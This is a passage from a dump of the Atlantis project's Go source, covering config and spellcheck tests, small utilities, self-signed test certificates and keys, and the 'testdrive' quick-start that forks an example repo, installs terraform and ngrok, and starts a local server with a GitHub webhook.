float64\"),\n\t\t},\n\t}\n\tfor _, tc := range tcs {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tu := server.UserConfig{\n\t\t\t\tWebhookHttpHeaders: tc.given,\n\t\t\t}\n\t\t\tgot, err := u.ToWebhookHttpHeaders()\n\t\t\tEquals(t, tc.want, got)\n\t\t\tEquals(t, tc.err, err)\n\t\t})\n\t}\n}\n\nfunc TestUserConfig_ToLogLevel(t *testing.T) {\n\tcases := []struct {\n\t\tuserLvl string\n\t\texpLvl  logging.LogLevel\n\t}{\n\t\t{\n\t\t\t\"debug\",\n\t\t\tlogging.Debug,\n\t\t},\n\t\t{\n\t\t\t\"info\",\n\t\t\tlogging.Info,\n\t\t},\n\t\t{\n\t\t\t\"warn\",\n\t\t\tlogging.Warn,\n\t\t},\n\t\t{\n\t\t\t\"error\",\n\t\t\tlogging.Error,\n\t\t},\n\t\t{\n\t\t\t\"unknown\",\n\t\t\tlogging.Info,\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.userLvl, func(t *testing.T) {\n\t\t\tu := server.UserConfig{\n\t\t\t\tLogLevel: c.userLvl,\n\t\t\t}\n\t\t\tEquals(t, c.expLvl, u.ToLogLevel())\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/utils/os.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage utils\n\nimport (\n\t\"os\"\n)\n\n// RemoveIgnoreNonExistent removes a file, ignoring if it doesn't exist.\nfunc RemoveIgnoreNonExistent(file string) error {\n\terr := os.Remove(file)\n\tif err == nil || os.IsNotExist(err) {\n\t\treturn nil\n\t}\n\n\treturn err\n}\n"
  },
  {
    "path": "server/utils/slices.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage utils\n\nimport \"slices\"\n\n// SlicesContains reports whether v is present in s.\n// https://pkg.go.dev/golang.org/x/exp/slices#Contains\nfunc SlicesContains[E comparable](s []E, v E) bool {\n\treturn slices.Contains(s, v)\n}\n"
  },
  {
    "path": "server/utils/spellcheck.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage utils\n\nimport (\n\t\"github.com/agext/levenshtein\"\n)\n\n// IsSimilarWord calculates \"The Levenshtein Distance\" between two strings which\n// represents the minimum total cost of edits that would convert the first string\n// into the second. If the distance is less than 3, the word is considered misspelled.\nfunc IsSimilarWord(given string, suggestion string) bool {\n\tdist := levenshtein.Distance(given, suggestion, nil)\n\tif dist > 0 && dist < 3 {\n\t\treturn true\n\t}\n\n\treturn false\n}\n"
  },
  {
    "path": "server/utils/spellcheck_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage utils_test\n\nimport (\n\t\"fmt\"\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/utils\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc Test_IsSimilarWord(t *testing.T) {\n\tt.Log(\"check if given executable name is misspelled or just an unrelated word\")\n\n\tspellings := []struct {\n\t\tMisspelled bool\n\t\tGiven      string\n\t\tWant       string\n\t}{\n\t\t{\n\t\t\tfalse,\n\t\t\t\"atlantis\",\n\t\t\t\"atlantis\",\n\t\t},\n\t\t{\n\t\t\tfalse,\n\t\t\t\"maybe\",\n\t\t\t\"atlantis\",\n\t\t},\n\t\t{\n\t\t\tfalse,\n\t\t\t\"atlantis-qa\",\n\t\t\t\"atlantis-prod\",\n\t\t},\n\t\t{\n\t\t\ttrue,\n\t\t\t\"altantis\",\n\t\t\t\"atlantis\",\n\t\t},\n\t\t{\n\t\t\ttrue,\n\t\t\t\"atlants\",\n\t\t\t\"atlantis\",\n\t\t},\n\t\t{\n\t\t\ttrue,\n\t\t\t\"teraform\",\n\t\t\t\"terraform\",\n\t\t},\n\t}\n\n\tfor _, s := range spellings {\n\t\tt.Run(fmt.Sprintf(\"given %s want %s\", s.Given, s.Want), func(t *testing.T) {\n\t\t\tisMisspelled := utils.IsSimilarWord(s.Given, s.Want)\n\n\t\t\tif s.Misspelled {\n\t\t\t\tEquals(t, isMisspelled, true)\n\t\t\t}\n\n\t\t\tif !s.Misspelled {\n\t\t\t\tEquals(t, isMisspelled, false)\n\t\t\t}\n\t\t})\n\t}\n\n}\n"
  },
  {
    "path": "testdata/cert.pem",
    "content": "-----BEGIN CERTIFICATE-----\nMIIDiDCCAnACCQDOnvpjFkiR7TANBgkqhkiG9w0BAQsFADCBhTELMAkGA1UEBhMC\nYXQxETAPBgNVBAgMCGF0bGFudGlzMREwDwYDVQQHDAhhdGxhbnRpczERMA8GA1UE\nCgwIYXRsYW50aXMxETAPBgNVBAsMCGF0bGFudGlzMREwDwYDVQQDDAhhdGxhbnRp\nczEXMBUGCSqGSIb3DQEJARYIYXRsYW50aXMwHhcNMjIxMTEwMTg1ODAwWhcNMjIx\nMjEwMTg1ODAwWjCBhTELMAkGA1UEBhMCYXQxETAPBgNVBAgMCGF0bGFudGlzMREw\nDwYDVQQHDAhhdGxhbnRpczERMA8GA1UECgwIYXRsYW50aXMxETAPBgNVBAsMCGF0\nbGFudGlzMREwDwYDVQQDDAhhdGxhbnRpczEXMBUGCSqGSIb3DQEJARYIYXRsYW50\naXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDQ+d1Yhu2MBljro63h\nbYJk3NgMjhiHQzvV2Uy9C6UnXZ0pELWa3utYx+rTAJUjOWxfed59qF2IGAAMWmm7\nGQt/Apz0AMtU1uSYzQGYQkWVnAODKRtUC+nBrJYnW4r1zY1/duP74rVuLMFLWhlg\nO7XPHbtQK5psYlXLmiyaljWpIMnj3pf/H1MUue+AD9yTpg+sRKscnbNsOVB8NV7Z\nmfpeddTkNuQL1d1KqfzF6bKz+zbyrcBz+NHC1SmvCGViRie/nE7UDd5OyHA4WM21\nCDfLvCJxmKG69nFDY8Z8EPu/WGWYndeG0piefdlFpZ8GQTpmxD7dgcZ6M3fnCIdX\nZvp/AgMBAAEwDQYJKoZIhvcNAQELBQADggEBAGlib941RVj17ynlH/MQ+R1x01a/\nf0GrhHbM4N2IuwGZ77bS4f/yQMC5YJBDcBOog5v7bR3VM8rCNgYSlZDl2aBzBP+8\nvXDjGQHr4AfV+dgM/6J7xdzQKpfFr7JCR421O9KOoI+rbuk4+HG2JpILR6H305XX\nKOkiD3Ywbdvsng0gA3rMxKTTs0XWu8Rki7r227P5p73yNBOwLQHwiewAfDiASJ/P\nUfzOEJjRHYe6ivz181HVQVn/4RJa1LbVtCVDk70VBA3N4tGHLb4eyeMcn/do1Hvg\n8m//uN6x2s7TeswAEGCoj1LIhjHWIulAwlNCHIcXMguJqvubfhzlxmE601I=\n-----END CERTIFICATE-----\n"
  },
  {
    "path": "testdata/cert2.pem",
    "content": "-----BEGIN CERTIFICATE-----\nMIIDlDCCAnwCCQCGl++WdvHa4jANBgkqhkiG9w0BAQsFADCBizELMAkGA1UEBhMC\nYXQxEjAQBgNVBAgMCWF0bGFudGlzMjESMBAGA1UEBwwJYXRsYW50aXMyMRIwEAYD\nVQQKDAlhdGxhbnRpczIxEjAQBgNVBAsMCWF0bGFudGlzMjESMBAGA1UEAwwJYXRs\nYW50aXMyMRgwFgYJKoZIhvcNAQkBFglhdGxhbnRpczIwHhcNMjIxMTEwMTkwNDIx\nWhcNMjIxMjEwMTkwNDIxWjCBizELMAkGA1UEBhMCYXQxEjAQBgNVBAgMCWF0bGFu\ndGlzMjESMBAGA1UEBwwJYXRsYW50aXMyMRIwEAYDVQQKDAlhdGxhbnRpczIxEjAQ\nBgNVBAsMCWF0bGFudGlzMjESMBAGA1UEAwwJYXRsYW50aXMyMRgwFgYJKoZIhvcN\nAQkBFglhdGxhbnRpczIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC+\n6bvLyg+VlYT/SU7lXJc2Dmdtehe7C/yckNpl+Zjj/8nkNRYfqJ2g8iwHASOWO7+V\nvdg91Ti6eC+OMjg54iSmd2rZQ6734I+hSo3C/l4alkOArjDumQPddynjMiOaB67u\nS67+vyBwbQq10BxOgJOhY/wQnLBJhOUhWh+UrjnL1LsET6qQicLwTzt/1cWzXmYS\nI8gTs0um+7r5WCB/Raf++KhboCtX3zEj6CV164ucEV65y2vQRIa7PQH+znCHGxbT\nnnZdielbJPc0S2hVtL2cRqocKCdEYKY3co27Hgvt/M7byETyLbmxbMK1r4f4icr9\ndyqKeY6aT+PxZ43nggYdAgMBAAEwDQYJKoZIhvcNAQELBQADggEBAJTVkyx5SGnh\nJ5hKOgseJbh4AvwPB++jsrN+z5FE5A6WR/3zZA2bfUuit5uKLAQ0di3l03bZf+2l\nzvxLmmeShOArzkaCQ0IRZdHl7rIaFHignikHnon1/fkBVqOoi+R0Hsn6GhVoQYo/\nC7zxQYyM/57Yw1VOW9vheIhvNgomv4GxaztrGEVT5tG58j9BgKqKYOfsHz07rYXc\nS2/iMML0xsgj5vXq9XiNJ0NVT3hD+LBnR5DZG64ITP9AgK22VeYKQrXiPWuzacKC\nzn+ptHXFDeqofAS6UoelrQ4ZchIsc48IsWdIW5SI3FOfiao4R0l5T7BqToSyP5V2\nDYLLTHTfIL4=\n-----END CERTIFICATE-----\n"
  },
  {
    "path": "testdata/key.pem",
    "content": "-----BEGIN PRIVATE KEY-----\nMIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDQ+d1Yhu2MBljr\no63hbYJk3NgMjhiHQzvV2Uy9C6UnXZ0pELWa3utYx+rTAJUjOWxfed59qF2IGAAM\nWmm7GQt/Apz0AMtU1uSYzQGYQkWVnAODKRtUC+nBrJYnW4r1zY1/duP74rVuLMFL\nWhlgO7XPHbtQK5psYlXLmiyaljWpIMnj3pf/H1MUue+AD9yTpg+sRKscnbNsOVB8\nNV7ZmfpeddTkNuQL1d1KqfzF6bKz+zbyrcBz+NHC1SmvCGViRie/nE7UDd5OyHA4\nWM21CDfLvCJxmKG69nFDY8Z8EPu/WGWYndeG0piefdlFpZ8GQTpmxD7dgcZ6M3fn\nCIdXZvp/AgMBAAECggEANjUaXaRiajgbSMSkjh1B/bfrsxYI9s1R8B718PPcW2HF\nKqnS8eFxWw5As4srJH/4xKtwM1hBKtRO7uVlF8tfWArte73ZAKDdm2VSTJSkSDK4\nFoXLOPn+IOcL7Bmq6ifv1GiaqvQb7ABgA5PTkUrr1lX4CMvGuuanKrFLcK4WLVCD\n9+GHiduaV0BfTPA3RmszrA4zLOXlI+5zlGwGNb5pUz914i9Lk0feIYbOXRMx9M+U\nFmDrKvasIXguUHGRWZ7D7ugV6j5/BTuCBjbzH6067YkA4NnXfiSKNTkedz+qTkGC\nIJXUCPMDzy6TKbdPMx94OKot14f0qaGZx8zZ0taLAQKBgQDwfoT4gYKl+X/3X0aG\nIZ5tSaLzAXKdlZ55W8YXCWDUX/b3YULGzILqEiS5RgnRIA0tGbtu3PMXtiol5Iff\ne4ywSZGilvvPJBbw17l8iC3Y/rnHp6wlOhVusdjozBhOuc3CQj3k56p0OXyahmzN\neHp/zsOMimIeef2ZlskmvXZqjwKBgQDecx8VQoi8Ph8/IDD/2P6wIU73qv57AY8K\npRQqRX3zffEN6nr0Xnlb44Oy/zA/5/7FNcEF4D2jhPQF8zkOll5tf0HlbVAVIlfC\nF5o8t0S05Uj5a6zAkc34bCV+oWwvCmxk5vCvDl2POAiO+dqYxom4bFsxRmMOf1VC\nhh5YDXcpEQKBgQChc36XSnLINCipjIfO8nDmU6IWW6lzi4d5V5gzzPL5gHdO+jeX\nOKLGu2l2DEP45fiSh4ziT2jPSVcgWzywVsRLcQhZS90+4a6Y/2oh5VZKMC/Ojo0t\n7MGIr9K77pB/AZPVzxy4OKKhJhq1rnsKsdAjT07OYfSfGyyaWLUv0c/WlwKBgQDR\npYOk4LjHWHDQaIFljtexnSK0TgZaXUS3To8rq6Shh49YgyVwC12q2Uh0uQZ7JCU7\nLYcGB6lv48yrkueyNMs3vRiYpiY0VNKKjP4CvOJW7kSRNQZx0rhgqWPI7U9tIhC4\nI+KvyQUqBjAit51qIKsJEa38SY7vydfLw2TzrXUhUQKBgBgxh9csF9JQfMRKO1Nv\ng5YWGFHdujl1Y2Qnf9nWHhQKy2wmCCoD0a0aRs6p0tyZXyqJfyBrPBEGF3VUONqf\nOK1b5tSj3w+APFW0hNFQABE8lRYBA/Qq6dAf+pTnDF0+ak9DKzlafhFI7w0dOZU2\nbYCXCqkOjIcnONDRDr04jE8c\n-----END PRIVATE KEY-----\n"
  },
  {
    "path": "testdata/key2.pem",
    "content": "-----BEGIN PRIVATE KEY-----\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC+6bvLyg+VlYT/\nSU7lXJc2Dmdtehe7C/yckNpl+Zjj/8nkNRYfqJ2g8iwHASOWO7+Vvdg91Ti6eC+O\nMjg54iSmd2rZQ6734I+hSo3C/l4alkOArjDumQPddynjMiOaB67uS67+vyBwbQq1\n0BxOgJOhY/wQnLBJhOUhWh+UrjnL1LsET6qQicLwTzt/1cWzXmYSI8gTs0um+7r5\nWCB/Raf++KhboCtX3zEj6CV164ucEV65y2vQRIa7PQH+znCHGxbTnnZdielbJPc0\nS2hVtL2cRqocKCdEYKY3co27Hgvt/M7byETyLbmxbMK1r4f4icr9dyqKeY6aT+Px\nZ43nggYdAgMBAAECggEAKUNxsLFivu0LSvY4VEC3+hoQ5sut12LW3aw9WC8jiZwe\nsfF7b6pNL51IQNdRLsaJOT9IPs0YLs2NUcmu92vWihhjgsQrTC5APRdVHqFGC68Q\ntf5wWxG9kR+RcSbEJSWl/KFlGHCM/V/EIdnyVFFcF1T6BUkonStZLuVA0Cz8Fv7r\nMO2mtmwtOcTAQaUqHSxdcq9ASmuh3QA9tUmn11oCjHwVbKrFrKNQW20vSn71pk4Z\nUiXnppRi7tk1t+PJb4VIEdUTw3JYwtp/HRgnfQ8VFDxWxWDPL4hHkBU270i7oIr3\n+DR0+A1eylCuKXO5Il75uMYs8mKjFyGCLFWoGWtW7QKBgQDlAva0FYrbDUFmdUjz\nMCOVfOoPkaQB1bd9CK21b8HxGrcXbXwJzs/n2RV4GHZgodSADN2+fKvslpJofD3z\nCnim60MJ8WcxB8Ez+Jvfktap8Kox0qQEZPpIN9hQxBxcXaLL+9TcWvkYJwCDjy+7\nLmfHEh9puECnxw5YAlHAreRCowKBgQDVaWB80Ehp9Q4McescrUtbsA0CYI3mkZgx\n6YU44/+DqiQStwQLttaOXvI4HXUqTdQgi8wMIJN/EOkMeAA1tuyULXJK9dkEB1pm\nzHF65USCr29g2hr/PsLckryKMtnyDGRW7YimXz8P03t5LfJ/M6Ovc7QJm6HSwCkS\nFyxrvU3gPwKBgCcWlGk0bBjrcEg+qI7pnok7Yu/5Wdb+VW0/9/ZJ9v5iIvIau9so\ns4/NG7793easeIrKp2aF/QpKwP6YhjJfjSxgZ3bg/039Ftr6ChDlDULAUyxh2aDu\nY1HERmWys2yIhuruNuzNkkqvDYVnASyfxRLTYw02Z8K7VRVsf+u1QoqlAoGBAJ6i\nHNnKTPmN8apoh3aijhCSdakdsn0AHpyDU8btG4J4VyYeKoC2oRflFbGGnBAdGCA1\nKjCdimX6YPEmxiknVwXyHjIAOxdWi+k78OKER3/I/kaE+Wpf8aLZ5BHqKL1WXsOK\n/3eD9zFBZ1e1Qrsw3GxP2jUGHay1sBHFbfyME7YrAoGAXaa9GiSi/HjOgOS8nzGf\nOzSl+I/fm651QjQ0tRVjVH777P3ZYyjdZNFYDb0x+fsvqTbkfkVtgeWuyoAVIwqy\nBtWyvTYutjwwUi53oIpRBe3qhIWIQUZgyAwXVis8FChSv3aaCePij+Bwju6laIfj\n+K5StCn2WaOE1d1akqF6C40=\n-----END PRIVATE KEY-----\n"
  },
  {
    "path": "testdrive/github.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage testdrive\n\nimport (\n\t\"context\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/google/go-github/v83/github\"\n)\n\nvar githubUsername string\nvar githubToken string\n\n// Client used for GitHub interactions.\ntype Client struct {\n\tclient *github.Client\n\tctx    context.Context\n}\n\n// CreateFork forks a GitHub repo into the user's account that is authenticated.\nfunc (g *Client) CreateFork(owner string, repoName string) error {\n\t_, _, err := g.client.Repositories.CreateFork(g.ctx, owner, repoName, nil)\n\t// The GitHub client returns an error even though the fork was successful.\n\t// In order to figure out the exact error we will need to check the message.\n\tif err != nil && !strings.Contains(err.Error(), \"job scheduled on GitHub side; try again later\") {\n\t\treturn err\n\t}\n\treturn nil\n}\n\n// CheckForkSuccess waits for github fork to complete.\n// Forks can take up to 5 minutes to complete according to GitHub.\nfunc (g *Client) CheckForkSuccess(ownerName string, forkRepoName string) bool {\n\tfor range 5 {\n\t\tif err := g.CreateFork(ownerName, forkRepoName); err == nil {\n\t\t\treturn true\n\t\t}\n\t\ttime.Sleep(2 * time.Second)\n\t}\n\treturn false\n}\n\n// CreateWebhook creates a GitHub webhook to send requests to our local ngrok.\nfunc (g *Client) CreateWebhook(ownerName string, repoName string, hookURL string) error {\n\tcontentType := \"json\"\n\thookConfig := &github.HookConfig{\n\t\tContentType: github.Ptr(contentType),\n\t\tURL:         github.Ptr(hookURL),\n\t}\n\tatlantisHook := &github.Hook{\n\t\tEvents: []string{\"issue_comment\", \"pull_request\", \"pull_request_review\", \"push\"},\n\t\tConfig: hookConfig,\n\t\tActive: github.Ptr(true),\n\t}\n\t_, _, err := g.client.Repositories.CreateHook(g.ctx, ownerName, repoName, atlantisHook)\n\treturn err\n}\n\n// CreatePullRequest creates a GitHub pull request with custom title and\n// description. If there's already a pull request open for this branch it will\n// return successfully.\nfunc (g *Client) CreatePullRequest(ownerName string, repoName string, head string, base string) (string, error) {\n\n\t// First check if the pull request already exists.\n\tpulls, _, err := g.client.PullRequests.List(g.ctx, ownerName, repoName, nil)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tfor _, pull := range pulls {\n\t\tif pull.Head.GetRef() == head && pull.Base.GetRef() == base {\n\t\t\treturn pull.GetHTMLURL(), nil\n\t\t}\n\t}\n\n\t// If not, create it.\n\tnewPullRequest := &github.NewPullRequest{\n\t\tTitle: github.Ptr(\"Welcome to Atlantis!\"),\n\t\tHead:  github.Ptr(head),\n\t\tBody:  github.Ptr(pullRequestBody),\n\t\tBase:  github.Ptr(base),\n\t}\n\tpull, _, err := g.client.PullRequests.Create(g.ctx, ownerName, repoName, newPullRequest)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn pull.GetHTMLURL(), nil\n}\n"
  },
  {
    "path": "testdrive/testdrive.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//\thttp://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n//\n// Package testdrive is used by the testdrive command as a quick-start of\n// Atlantis.\npackage testdrive\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"os\"\n\t\"os/exec\"\n\t\"os/signal\"\n\t\"regexp\"\n\t\"runtime\"\n\t\"strings\"\n\t\"sync\"\n\t\"syscall\"\n\t\"time\"\n\n\t\"github.com/briandowns/spinner\"\n\t\"github.com/google/go-github/v83/github\"\n\t\"github.com/mitchellh/colorstring\"\n)\n\nvar terraformExampleRepoOwner = \"runatlantis\"\nvar terraformExampleRepo = \"atlantis-example\"\nvar bootstrapDescription = `Welcome to Atlantis testdrive!\n\nThis mode sets up Atlantis on a test repo so you can try it out. We will\n- fork an example terraform project to your username\n- install terraform (if not already in your PATH)\n- install ngrok so we can expose Atlantis to GitHub\n- start Atlantis\n\n[bold]Press Ctrl-c at any time to exit\n`\nvar pullRequestBody = strings.ReplaceAll(`\nIn this pull request we will learn how to use Atlantis.\n\n1. In a couple of seconds you should see the output of Atlantis automatically running $terraform plan$.\n\n1. You can manually run $plan$ by typing a comment:\n\n    $$$\n    atlantis plan\n    $$$\n    Usually you'll let Atlantis automatically run plan for you though.\n\n1. To see all the comment commands available, type:\n    $$$\n    atlantis help\n    $$$\n\n1. To see the help for a specific command, for example $atlantis plan$, type:\n    $$$\n    atlantis plan --help\n    $$$\n\n1. Atlantis holds a \"Lock\" on this directory to prevent other pull requests modifying\n   the Terraform state until this pull request is merged. To view the lock, go to the Atlantis UI: [http://localhost:4141](http://localhost:4141).\n   If you wanted, you could manually delete the plan and lock from the UI if you weren't ready to apply. Instead, we will apply it!\n\n1. To $terraform apply$ this change (which does nothing because it is creating a $null_resource$), type:\n    $$$\n    atlantis apply\n    $$$\n    **NOTE:** Because this example isn't using [remote state storage](https://developer.hashicorp.com/terraform/language/state/remote) the state will be lost once the pull request is merged. To use Atlantis properly, you **must** be using remote state.\n\n1. Finally, merge the pull request to unlock this directory.\n\nThank you for trying out Atlantis! Next, try using Atlantis on your own repositories: [www.runatlantis.io/guide/getting-started.html](https://www.runatlantis.io/guide/getting-started.html).`, \"$\", \"`\")\n\n// Start begins the testdrive process.\n// nolint: errcheck\nfunc Start() error {\n\ts := spinner.New(spinner.CharSets[14], 100*time.Millisecond)\n\tcolorstring.Println(bootstrapDescription)\n\tcolorstring.Print(\"\\n[bold]github.com username: \")\n\tfmt.Scanln(&githubUsername)\n\tif githubUsername == \"\" {\n\t\treturn fmt.Errorf(\"please enter a valid github username\")\n\t}\n\tcolorstring.Println(`\nTo continue, we need you to create a GitHub personal access token\nwith [green]\"repo\" [reset]scope so we can fork an example terraform project.\n\nFollow these instructions to create a token (we don't store any tokens):\n[green]https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token#creating-a-fine-grained-personal-access-token[reset]\n- use \"atlantis\" for the token description\n- add \"repo\" scope\n- copy the access token\n`)\n\t// Read github token, check for error later.\n\tcolorstring.Print(\"[bold]GitHub access token (will be hidden): \")\n\tgithubToken, _ = readPassword()\n\ttp := github.BasicAuthTransport{\n\t\tUsername: strings.TrimSpace(githubUsername),\n\t\tPassword: strings.TrimSpace(githubToken),\n\t}\n\tgithubClient := &Client{client: github.NewClient(tp.Client()), ctx: context.Background()}\n\n\t// Fork terraform example repo.\n\tcolorstring.Println(\"\\n=> forking repo \")\n\ts.Start()\n\tif err := githubClient.CreateFork(terraformExampleRepoOwner, terraformExampleRepo); err != nil {\n\t\treturn fmt.Errorf(\"forking repo %s/%s: %w\", terraformExampleRepoOwner, terraformExampleRepo, err)\n\t}\n\tif !githubClient.CheckForkSuccess(terraformExampleRepoOwner, terraformExampleRepo) {\n\t\treturn fmt.Errorf(\"didn't find forked repo %s/%s. fork unsuccessful\", terraformExampleRepoOwner, terraformExampleRepo)\n\t}\n\ts.Stop()\n\tcolorstring.Println(\"[green]=> fork completed![reset]\")\n\n\t// Detect terraform and install it if not installed.\n\tterraformPath, err := exec.LookPath(\"terraform\")\n\tif err != nil {\n\t\tcolorstring.Println(\"[yellow]=> terraform not found in $PATH.[reset]\")\n\t\tcolorstring.Println(\"=> downloading terraform \")\n\t\ts.Start()\n\t\tterraformDownloadURL := fmt.Sprintf(\"%s/terraform/%s/terraform_%s_%s_%s.zip\", hashicorpReleasesURL, terraformVersion, terraformVersion, runtime.GOOS, runtime.GOARCH)\n\t\tif err = downloadAndUnzip(terraformDownloadURL, \"/tmp/terraform.zip\", \"/tmp\"); err != nil {\n\t\t\treturn fmt.Errorf(\"downloading and unzipping terraform: %w\", err)\n\t\t}\n\t\tcolorstring.Println(\"[green]=> downloaded terraform successfully![reset]\")\n\t\ts.Stop()\n\n\t\terr = executeCmd(\"mv\", \"/tmp/terraform\", \"/usr/local/bin/\")\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"moving terraform binary into /usr/local/bin: %w\", err)\n\t\t}\n\t\tcolorstring.Println(\"[green]=> installed terraform successfully at /usr/local/bin[reset]\")\n\t} else {\n\t\tcolorstring.Printf(\"[green]=> terraform found in $PATH at %s\\n[reset]\", terraformPath)\n\t}\n\n\t// Detect ngrok and install it if not installed\n\tngrokPath, ngrokErr := exec.LookPath(\"ngrok\")\n\tif ngrokErr != nil {\n\t\tcolorstring.Println(\"[yellow]=> ngrok not found in $PATH.[reset]\")\n\t\tcolorstring.Println(\"=> downloading ngrok\")\n\t\ts.Start()\n\t\tngrokURL := fmt.Sprintf(\"%s/ngrok-stable-%s-%s.zip\", ngrokDownloadURL, runtime.GOOS, runtime.GOARCH)\n\t\tif err = downloadAndUnzip(ngrokURL, \"/tmp/ngrok.zip\", \"/tmp\"); err != nil {\n\t\t\treturn fmt.Errorf(\"downloading and unzipping ngrok: %w\", err)\n\t\t}\n\t\ts.Stop()\n\t\tcolorstring.Println(\"[green]=> downloaded ngrok successfully![reset]\")\n\t\tngrokPath = \"/tmp/ngrok\"\n\t} else {\n\t\tcolorstring.Printf(\"[green]=> ngrok found in $PATH at %s\\n[reset]\", ngrokPath)\n\t}\n\n\t// Create ngrok tunnel.\n\tcolorstring.Println(\"=> creating secure tunnel\")\n\ts.Start()\n\n\t// We use a config file so we can set ngrok's API port (web_addr). We use\n\t// the API to get the public URL and if there's already ngrok running, it\n\t// will just choose a random API port and we won't be able to get the right\n\t// url.\n\tngrokConfig := fmt.Sprintf(`\nversion: 1\nweb_addr: %s\ntunnels:\n  atlantis:\n    addr: %d\n    bind_tls: true\n    proto: http\n`, ngrokAPIURL, atlantisPort)\n\n\tngrokConfigFile, err := os.CreateTemp(\"\", \"atlantis-testdrive-ngrok-config\")\n\tif err != nil {\n\t\treturn fmt.Errorf(\"creating ngrok config file: %w\", err)\n\t}\n\terr = os.WriteFile(ngrokConfigFile.Name(), []byte(ngrokConfig), 0600)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"writing ngrok config file: %w\", err)\n\t}\n\n\t// Used to ensure proper termination of all background commands.\n\tvar wg sync.WaitGroup\n\tdefer wg.Wait()\n\n\ttunnelReadyLog := regexp.MustCompile(\"client session established\")\n\ttunnelTimeout := 20 * time.Second\n\tcancelNgrok, ngrokErrors, err := execAndWaitForStderr(&wg, tunnelReadyLog, tunnelTimeout,\n\t\tngrokPath, \"start\", \"atlantis\", \"--config\", ngrokConfigFile.Name(), \"--log\", \"stderr\", \"--log-format\", \"term\")\n\t// Check if we got a fast error. Move on if we haven't (the command is still running).\n\tif err != nil {\n\t\ts.Stop()\n\t\treturn fmt.Errorf(\"creating ngrok tunnel: %w\", err)\n\t}\n\t// When this function returns, ngrok tunnel should be stopped.\n\tdefer cancelNgrok()\n\n\t// The tunnel is up!\n\ts.Stop()\n\tcolorstring.Println(\"[green]=> started tunnel![reset]\")\n\t// There's a 1s delay between tunnel starting and API being up.\n\ttime.Sleep(1 * time.Second)\n\ttunnelURL, err := getTunnelAddr()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"getting tunnel url: %w\", err)\n\t}\n\n\t// Start atlantis server.\n\tcolorstring.Println(\"=> starting atlantis server\")\n\ts.Start()\n\ttmpDir, err := os.MkdirTemp(\"\", \"\")\n\tif err != nil {\n\t\treturn fmt.Errorf(\"creating a temporary data directory for Atlantis: %w\", err)\n\t}\n\tdefer os.RemoveAll(tmpDir)\n\tserverReadyLog := regexp.MustCompile(\"Atlantis started - listening on port 4141\")\n\tserverReadyTimeout := 5 * time.Second\n\tcancelAtlantis, atlantisErrors, err := execAndWaitForStderr(&wg, serverReadyLog, serverReadyTimeout,\n\t\tos.Args[0], \"server\", \"--gh-user\", githubUsername, \"--gh-token\", githubToken, \"--data-dir\", tmpDir, \"--atlantis-url\", tunnelURL, \"--repo-allowlist\", fmt.Sprintf(\"github.com/%s/%s\", githubUsername, terraformExampleRepo))\n\t// Check if we got a fast error. Move on if we haven't (the command is still running).\n\tif err != nil {\n\t\treturn fmt.Errorf(\"creating atlantis server: %w\", err)\n\t}\n\t// When this function returns atlantis server should be stopped.\n\tdefer cancelAtlantis()\n\n\tcolorstring.Printf(\"[green]=> atlantis server is now securely exposed at [bold][underline]%s\\n[reset]\", tunnelURL)\n\tfmt.Println(\"\")\n\n\t// Create atlantis webhook.\n\tcolorstring.Println(\"=> creating atlantis webhook\")\n\ts.Start()\n\terr = githubClient.CreateWebhook(githubUsername, terraformExampleRepo, fmt.Sprintf(\"%s/events\", tunnelURL))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"creating atlantis webhook: %w\", err)\n\t}\n\ts.Stop()\n\tcolorstring.Println(\"[green]=> atlantis webhook created![reset]\")\n\n\t// Create a new pr in the example repo.\n\tcolorstring.Println(\"=> creating a new pull request\")\n\ts.Start()\n\tpullRequestURL, err := githubClient.CreatePullRequest(githubUsername, terraformExampleRepo, \"example\", \"main\")\n\tif err != nil {\n\t\treturn fmt.Errorf(\"creating new pull request for repo %s/%s: %w\", githubUsername, terraformExampleRepo, err)\n\t}\n\ts.Stop()\n\tcolorstring.Println(\"[green]=> pull request created![reset]\")\n\n\t// 